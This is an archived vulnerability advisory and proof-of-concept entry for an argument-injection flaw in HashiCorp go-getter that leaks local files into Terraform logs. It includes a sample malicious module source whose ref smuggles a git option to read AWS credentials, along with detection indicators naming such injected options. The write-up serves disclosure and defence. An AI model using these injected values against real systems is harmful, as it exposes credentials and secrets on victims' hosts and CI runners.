HashiCorp go-getter Git Pathspec Arbitrary File Read (CVE-2026-4660)
by gouldnicholas (original reporter) · 2026-07-05
- Severity
- High
- CVE
- CVE-2026-4660 / HCSEC-2026-04
- Category
- cloud
- Affected product
- hashicorp/go-getter (used by Terraform, Nomad, Packer, Waypoint)
- Affected versions
- go-getter v1.8.2 – v1.8.5 (fixed in v1.8.6); Terraform v1.14.8 (latest stable as of disclosure had not yet incorporated the fix)
- Disclosed
- 2026-07-05
- Patch status
- patched
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-07 |
| Author / Researcher | gouldnicholas (original reporter) |
| CVE / Advisory | CVE-2026-4660 / HCSEC-2026-04 |
| Category | cloud |
| Severity | High |
| CVSS Score | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| Status | PoC |
| Tags | terraform, go-getter, git, pathspec-injection, arbitrary-file-read, ci-cd, supply-chain, iac |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | hashicorp/go-getter (used by Terraform, Nomad, Packer, Waypoint) |
| Versions Affected | go-getter v1.8.2 – v1.8.5 (fixed in v1.8.6); Terraform v1.14.8 (latest stable as of disclosure had not yet incorporated the fix) |
| Language / Platform | Go |
| Authentication Required | No (victim only needs to reference an attacker-controlled module source) |
| Network Access Required | Yes (victim must fetch the malicious git module, e.g. during terraform init) |
Summary
go-getter resolves Terraform/Nomad/Packer/Waypoint module sources with ref query parameters passed straight through to git checkout. An attacker can publish a module whose ref is set to a git option such as --pathspec-from-file=/path/to/file instead of a real commit/branch/tag. When the victim’s tooling clones the module and runs git checkout --pathspec-from-file=/path/to/file, git reads the target file line-by-line, treats each line as an invalid pathspec, and echoes the file’s contents back in its error output — which then appears verbatim in the victim’s terraform init (or equivalent) logs. This allows arbitrary local file disclosure (credentials, SSH keys, /etc/passwd, CI secrets) with no apply step required, purely from resolving a malicious module reference.
Vulnerability Details
Root Cause
go-getter passes the user-supplied ref value unsanitized into git checkout <ref> inside two code paths: clone() (used when the destination directory doesn’t yet exist) and update() (used when it does), both of which call a shared checkout() function. Because ref is taken from the module source URL itself — which can point to an attacker-controlled repository nested inside an otherwise legitimate-looking module — the victim never sees the malicious value in their own configuration. clone() additionally defers os.RemoveAll(dst) on failure while update() does not, so the two paths differ only in whether the cloned directory survives the failed checkout; the underlying pathspec-injection vulnerability fires identically in both.
Attack Vector
- Attacker publishes a legitimate-looking Terraform module (e.g. a working AWS VPC module) on GitHub.
- Buried inside, a nested submodule source points to a second attacker-controlled repository with a malicious
ref:1 2 3module "internal" { source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials" } - The victim references only the top-level module in their own Terraform config and runs
terraform init(locally or in CI). - go-getter clones the top-level module, discovers the nested submodule, clones it, and calls
git checkout --pathspec-from-file=/home/runner/.aws/credentials. - Git reads the target file and reports each line as a failed pathspec match, dumping the file’s contents into the
terraform initerror output — which is often persisted in CI logs, log aggregators, or build artifacts with no expiry.
Impact
Arbitrary-file disclosure on any host or CI runner that resolves an attacker-influenced Terraform/Nomad/Packer/Waypoint module source. Any file readable by the process (~/.aws/credentials, ~/.ssh/id_rsa, CI token files, /etc/passwd, application configs) can be exfiltrated via what looks like an ordinary git/module-download failure, with contents visible to anyone with access to the build logs.
Environment / Lab Setup
Target: Terraform v1.14.8 (go-getter v1.8.2), git 2.45.4, containerized attacker git server
Attacker: Docker Compose lab with a "gitserver" container serving malicious bare repos over HTTP
Victim: "poc" container running as user "runner" with planted ~/.aws/credentials, ~/.ssh/id_rsa, /etc/passwd
Proof of Concept
PoC Script
See
poc.sh,Dockerfile,Dockerfile.gitserver, anddocker-compose.ymlin this folder.
| |
Phase 1 runs terraform init against the malicious module chain to demonstrate the clone() code path (module directory is removed by the deferred RemoveAll after the failed checkout, consistent with credentials still leaking via log output first). Phase 2 directly drives go-getter’s update() call sequence (fetch + checkout) to show the same underlying checkout() vulnerability fires when the destination directory already exists, and that the directory survives (no RemoveAll defer in that path). No interaction is required; the containers run the full chain and print the leaked file contents.
Detection & Indicators of Compromise
error: pathspec '<file line content>' did not match any file(s) known to git
ref=--pathspec-from-file=...
ref=--upload-pack=...
Signs of compromise:
terraform init/ module-install failures whose “pathspec did not match” errors contain recognizable credential or config file content rather than a plausible git ref.- Module
sourceURLs (including transitively-referenced submodules) whoseref=query parameter begins with--(a git option) instead of a branch/tag/commit. - CI log entries or aggregated logs (Datadog, Splunk, etc.) containing embedded secrets following a “Failed to download module” error block.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to go-getter ≥ v1.8.6 and, once available, the corresponding patched Terraform/Nomad/Packer/Waypoint release that vendors the fix. |
| Interim mitigation | Pin and audit all module sources (including transitive/nested ones) from untrusted registries; reject/validate ref values that begin with - before invoking any git operation; avoid persisting raw terraform init/module-download output to long-lived log stores; run module resolution in a sandboxed environment without access to sensitive local files. |
References
Notes
Mirrored from https://github.com/gouldnicholas/CVE-2026-4660-PoC on 2026-07-05.
| |